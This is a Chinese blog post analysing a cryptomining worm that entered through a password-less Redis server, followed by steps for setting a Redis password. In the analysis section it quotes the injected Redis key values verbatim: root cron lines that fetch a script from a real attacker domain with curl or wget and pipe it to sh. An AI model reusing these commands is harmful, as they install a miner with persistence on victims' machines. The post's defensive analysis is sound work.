內網環境可以不設定密碼,但是個人伺服器,以及線上公網伺服器就有必要設定密碼了。
昨天我檢查了一下minio在redis中的事件通知,當我查看redis的key時,發現出現了幾個不尋常的key。 backup1,backup2,backup3。然後我猜想應該是挖礦病毒。
如下面所示:這樣就將定時任務和腳本注入到了我們機器當中,就會開始執行 init.sh 腳本
backup1 "\n\n\n*/2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh\n\n" backup2 "\n\n\n*/3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh\n\n" backup3 "\n\n\n*/4 * * * * root curl -fsSL http://en2an.top/cleanfda/init.sh | sh\n\n" backup4 "\n\n\n*/5 * * * * root wd1 -q -O- http://en2an.top/cleanfda/init.sh | sh\n\n"
en2an.top/cleanfda/in…
我們查看這個key的value能得到它會去請求一個位址,我們打開看一下這個init.sh到底是什麼東西。
如下圖所示是個腳本檔。
這個腳本還挺多的,關閉selinux、殺掉別人的挖礦進程、殺掉CPU佔用過高的進程,如果是自己就跳過、修改破壞系統指令、自己造一個下載器downloads()函數、解鎖和加鎖定時任務、新增挖礦技術任務、設定SSH免密登陸、下載執行礦機挖礦程序、關閉防火牆、清除日誌、感染已知的免密機器、下載執行is.sh。
en2an.top/cleanfda/is…
如下圖所示,上面的init.sh會下載我們的is.sh腳本。
我們來看看這個腳本是做什麼。
如下圖所示,這個腳本的內容也蠻多的。下載masscan掃描器、下載pnscan掃描器、安裝 redis 用於建立 redis 未授權存取的漏洞、執行 rs.sh。
en2an.top/cleanfda/rs…
上面的連線可以查看這個腳本內容是什麼。
開放 6379 端口、自動化利用redis未授權寫入定時任務,利用 pnscan 掃描b段IP 6379 端口,利用 masscan 進行掃描端口。
透過上述分析得出,該病毒實質為透過redis注入挖礦腳本起作用。如果你的redis沒有設定密碼,而且暴露在公網上就要小心了。
可以透過以下兩種方式對我們的redis進行設定密碼。
需要注意的是這種方式因為修改了設定文件, 需要重新啟動我們的redis才能生效。
找到我們的redis.conf檔。
Windows如下圖所示
我們編輯此文件,找到requirepass,放開註釋,設定指定的值就,重啟redis就生效了。
由於安裝方式可能因人而異,而我是透過docker進行安裝的並進行了映射。這裡就不給大家示範了,找到自己安裝在linux的redis目錄找到redis.conf設定文件,跟windows一樣的操作,設定完重啟就Ok了。
連接我們的redis,然後透過指令的方式設定密碼。
這種方式比較簡單,而且不需要重新啟動就生效。
下面的指令的意思是把密碼設定為123456,公網可不要設定這麼簡單阿。
config set requirepass 123456
我們查看一下我們的redis的密碼。
config get requirepass
這樣我們的密碼就設定成功了,退出我們的redis客戶端再次連線的時候就生效了。
以上是Redis一定要設定密碼的原理是什麼的詳細內容。更多資訊請關注PHP中文網其他相關文章!